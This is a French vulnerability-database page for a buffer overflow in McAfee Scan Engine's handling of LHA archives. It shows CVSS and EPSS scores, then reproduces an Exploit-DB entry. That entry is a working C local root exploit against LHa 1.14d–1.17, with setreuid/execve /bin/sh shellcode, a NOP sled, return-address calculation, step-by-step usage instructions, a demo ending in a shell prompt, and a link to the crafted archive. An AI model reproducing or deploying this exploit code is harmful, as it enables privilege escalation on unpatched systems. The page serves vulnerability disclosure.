CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in McAfee Scan Engine 4320 with DAT version before 4357 allows remote attackers to execute arbitrary code via crafted LHA files.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
7.69%
–
–
2022-02-20
–
–
7.69%
–
–
2022-04-03
–
–
7.69%
–
–
2022-05-29
–
–
7.69%
–
–
2023-03-12
–
–
–
4.25%
–
2024-02-11
–
–
–
4.25%
–
2024-06-02
–
–
–
4.25%
–
2024-11-10
–
–
–
4.25%
–
2024-12-22
–
–
–
2.45%
–
2025-01-19
–
–
–
2.45%
–
2025-03-18
–
–
–
–
4.75%
2025-03-30
–
–
–
–
5.39%
2025-04-15
–
–
–
–
5.39%
2025-04-15
–
–
–
–
5.39,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2004-04-29 22h00 +00:00 Auteur : N4rK07IX EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/10243/info
LHA has been reported prone to multiple vulnerabilities that may allow a malicious archive to execute arbitrary code or corrupt arbitrary files when the archive is operated on.
The first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility.
The second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility.
**NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency.
**Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability.
/* Author : N4rK07IX narkotix@linuxmail.org
Bug Found By : Ulf Ha"rnhammar <Ulf.Harnhammar.9485@student.uu.se>
LHa buffer overflows and directory traversal problems
PROGRAM: LHa (Unix version)
VENDOR: various people
VULNERABLE VERSIONS: 1.14d to 1.14i // Theze sectionz completely taken from full-disclosure :))
1.17 (Linux binary)
possibly others
IMMUNE VERSIONS: 1.14i with my patch applied
1.14h with my patch applied
Patch : Ulf Ha"rnhammar made some patch U can find it on :
LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm
http://www2m.biglobe.ne.jp/~dolphin/lha/prog/
LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/
---------------------------------------------------------------
Little Explanation about Exploit : Copy the attached overflow.lha file to your directory , i.e /home
Then open overflow.lha with text editor(vim is better), U will see there four bytes XXXX at the end of the line, just
delete XXXX and paste your ASCII RET address there,but make sure not to malform the file.Then run the sploit.
Note : overflow.lha file is completely taken from Ulf's post.
Demo:
addicted@labs:~/c-hell$ ./lha /home/addicted/overflow.lha
--------------------------------------------------
| Author : N4rK07IX
| Vim 6.x Local Xpl0it
| narkotix@linuxmail.org
|--------------------------------------------------
[+] RET ADDRESS = 0xbffffd90
[!] Paste These ASCII 4 bytes Ret Adress to the XXXX in the file overflow.lha
[!] ASCII RET ADDR = ����
[+] Exploiting the buffer..
LHa: Error: Unknown information
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUAAAAAAA����B
sh-2.05b$
Gretingz: Efnet,mathmonkey,Uz4yh4N,laplace_ex,xmlguy,gotcha,forkbomb
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFFERSIZE 2000
#define FEED 600
#define PATH "/usr/bin/lha"
#define PROG "lha"
static char shellcode[] =
//* setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
/* setgid(0); */
"\x31\xdb" // xor %ebx,%ebx
"\x89\xd8" // mov %ebx,%eax
"\xb0\x2e" // mov $0x2e,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80
int main(int argc, char *argv[])
{
if( argc < 2 )
{ printf("[-] Enter The Full Of the overflow.lha \n");
exit(-1);
}
printf("--------------------------------------------------\n");
printf("| Author : N4rK07IX\n");
printf("| Found by : Ulf Ha'rnhammar\n");
printf("| LHa 1.14d 1.14i 1.17 Local Lame Stack Overflow Sploit\n");
printf("| narkotix@linuxmail.org\n");
printf("|--------------------------------------------------\n");
char buffer[BUFFERSIZE];
char addict[FEED];
int i,
*adr_pointer,
*addict_pointer;
memset(addict,0x90,sizeof(addict));
memcpy(&addict[FEED-strlen(shellcode)],shellcode,strlen(shellcode));
memcpy(addict,"ADDICT=",7);
putenv(addict);
unsigned long ret = 0XBFFFFFFA -strlen("/usr/bin/lha") - strlen(addict);
printf("[+] RET ADDRESS = 0x%x\n",ret);
char l = (ret & 0x000000ff);
char a = (ret & 0x0000ff00) >> 8;
char m = (ret & 0x00ff0000) >> 16;
char e = (ret & 0xff000000) >> 24;
printf("[!] Paste These ASCII 4 bytes Ret Adress to the XXXX in the file overflow.lha\n");
printf("[!] ASCII RET ADDR = %c%c%c%c\n",l,a,m,e);
printf("[+] Exploiting the buffer..\n");
adr_pointer = (int *)(buffer);
for(i = 0 ; i < BUFFERSIZE ; i += 4)
*adr_pointer++ = ret;
execl(PATH,PROG,"x",argv[1],NULL);
if(!execl);
perror("execl()");
printf("[+] Done B4by\n");
return 0;
}
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24067.lha